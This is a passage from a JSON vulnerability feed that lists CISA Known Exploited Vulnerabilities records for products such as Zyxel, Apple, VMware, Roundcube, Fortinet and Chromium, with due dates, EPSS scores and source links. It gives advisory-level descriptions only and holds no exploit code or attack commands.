instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13638,"percentile":0.96453,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-20867&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-20867","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-20867 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-20867&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-20867, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-27992","cveId":"CVE-2023-27992","aliases":[],"kind":"vulnerability","title":"Zyxel Multiple NAS Devices Command Injection Vulnerability","summary":"Multiple Zyxel network-attached storage (NAS) devices contain a pre-authentication command injection vulnerability that could allow an unauthenticated attacker to execute commands remotely via a crafted HTTP request.","detail":"CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-23","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"Multiple Network-Attached Storage (NAS) Devices","stacks":["Zyxel","Multiple Network-Attached Storage (NAS) Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-23","dueAt":"2023-07-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82264,"percentile":0.99656,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-27992&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-27992","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-27992 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-27992&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-27992, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-32434","cveId":"CVE-2023-32434","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Integer Overflow Vulnerability","summary":"Apple iOS. iPadOS, macOS, and watchOS contain an integer overflow vulnerability that could allow an application to execute code with kernel privileges.","detail":"CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-23","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-23","dueAt":"2023-07-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.51517,"percentile":0.98935,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-32434&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-32434","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-32434 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-32434&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-32434, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-32435","cveId":"CVE-2023-32435","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Memory Corruption Vulnerability","summary":"Apple iOS, iPadOS, macOS, and Safari WebKit contain a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-23","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-23","dueAt":"2023-07-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22951,"percentile":0.97731,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-32435&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-32435","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-32435 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-32435&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-32435, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-32439","cveId":"CVE-2023-32439","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Type Confusion Vulnerability","summary":"Apple iOS, iPadOS, macOS, and Safari WebKit contain a type confusion vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-23","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-23","dueAt":"2023-07-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.23968,"percentile":0.97824,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-32439&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-32439","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-32439 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-32439&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-32439, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-0165","cveId":"CVE-2016-0165","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-22","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-22","dueAt":"2023-07-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13732,"percentile":0.96478,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-0165&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-0165","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-0165 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-0165&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-0165, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-9079","cveId":"CVE-2016-9079","aliases":[],"kind":"vulnerability","title":"Mozilla Firefox, Firefox ESR, and Thunderbird Use-After-Free Vulnerability","summary":"Mozilla Firefox, Firefox ESR, and Thunderbird contain a use-after-free vulnerability in SVG Animation, targeting Firefox and Tor browser users on Windows.","detail":"CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-22","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Firefox, Firefox ESR, and Thunderbird","stacks":["Mozilla Firefox and Thunderbird","Mozilla","Firefox, Firefox ESR, and Thunderbird"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-22","dueAt":"2023-07-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87357,"percentile":0.99753,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-9079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-9079","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-9079 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-9079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-9079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-12641","cveId":"CVE-2020-12641","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail Remote Code Execution Vulnerability","summary":"Roundcube Webmail contains an remote code execution vulnerability that allows attackers to execute code via shell metacharacters in a configuration setting for im_convert_path or im_identify_path.","detail":"CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-22","updatedAt":null,"regions":["Global"],"vendor":"Roundcube","product":"Roundcube Webmail","stacks":["Roundcube","Roundcube Webmail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-22","dueAt":"2023-07-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84456,"percentile":0.99698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-12641&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-12641","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-12641 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-12641&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-12641, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-35730","cveId":"CVE-2020-35730","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail Cross-Site Scripting (XSS) Vulnerability","summary":"Roundcube Webmail contains a cross-site scripting (XSS) vulnerability that allows an attacker to send a plain text e-mail message with Javascript in a link reference element that is mishandled by linkref_addinindex in rcube_string_replacer.php.","detail":"CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-22","updatedAt":null,"regions":["Global"],"vendor":"Roundcube","product":"Roundcube Webmail","stacks":["Roundcube","Roundcube Webmail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-22","dueAt":"2023-07-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.3292,"percentile":0.98344,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-35730&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-35730","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-35730 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-35730&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-35730, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-44026","cveId":"CVE-2021-44026","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail SQL Injection Vulnerability","summary":"Roundcube Webmail is vulnerable to SQL injection via search or search_params.","detail":"CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-22","updatedAt":null,"regions":["Global"],"vendor":"Roundcube","product":"Roundcube Webmail","stacks":["Roundcube","Roundcube Webmail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-22","dueAt":"2023-07-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.69882,"percentile":0.99368,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-44026&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-44026","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-44026 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-44026&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-44026, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-20887","cveId":"CVE-2023-20887","aliases":[],"kind":"vulnerability","title":"Vmware Aria Operations for Networks Command Injection Vulnerability","summary":"VMware Aria Operations for Networks (formerly vRealize Network Insight) contains a command injection vulnerability that allows a malicious actor with network access to perform an attack resulting in remote code execution.","detail":"CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-22","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"Aria Operations for Networks","stacks":["VMware","Aria Operations for Networks"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-22","dueAt":"2023-07-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98281,"percentile":0.99916,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-20887&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-20887","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-20887 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-20887&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-20887, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-27997","cveId":"CVE-2023-27997","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS and FortiProxy SSL-VPN Heap-Based Buffer Overflow Vulnerability","summary":"Fortinet FortiOS and FortiProxy SSL-VPN contain a heap-based buffer overflow vulnerability which can allow an unauthenticated, remote attacker to execute code or commands via specifically crafted requests.","detail":"CISA added this entry on 2023-06-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-13","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS and FortiProxy SSL-VPN","stacks":["Fortinet","FortiOS and FortiProxy SSL-VPN"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-13","dueAt":"2023-07-04","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.85689,"percentile":0.99723,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-27997&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-27997","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-27997 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-27997&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-27997, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-3079","cveId":"CVE-2023-3079","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2023-06-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-07","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-07","dueAt":"2023-06-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.37858,"percentile":0.98536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-3079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-3079","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-3079 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-3079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-3079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-33009","cveId":"CVE-2023-33009","aliases":[],"kind":"vulnerability","title":"Zyxel Multiple Firewalls Buffer Overflow Vulnerability","summary":"Zyxel ATP, USG FLEX, USG FLEX 50(W), USG20(W)-VPN, VPN, and ZyWALL/USG firewalls contain a buffer overflow vulnerability in the notification function that could allow an unauthenticated attacker to cause denial-of-service (DoS) conditions and remote code execution on an affected device.","detail":"CISA added this entry on 2023-06-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-05","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"Multiple Firewalls","stacks":["Zyxel","Multiple Firewalls"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-05","dueAt":"2023-06-26","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.28144,"percentile":0.98096,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-33009&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-33009","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-33009 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-33009&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-33009, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-33010","cveId":"CVE-2023-33010","aliases":[],"kind":"vulnerability","title":"Zyxel Multiple Firewalls Buffer Overflow Vulnerability","summary":"Zyxel ATP, USG FLEX, USG FLEX 50(W), USG20(W)-VPN, VPN, and ZyWALL/USG firewalls contain a buffer overflow vulnerability in the ID processing function that could allow an unauthenticated attacker to cause denial-of-service (DoS) conditions and remote code execution on an affected device.","detail":"CISA added this entry on 2023-06-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-05","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"Multiple Firewalls","stacks":["Zyxel","Multiple Firewalls"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-05","dueAt":"2023-06-26","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.29024,"percentile":0.98146,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-33010&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-33010","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-33010 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS 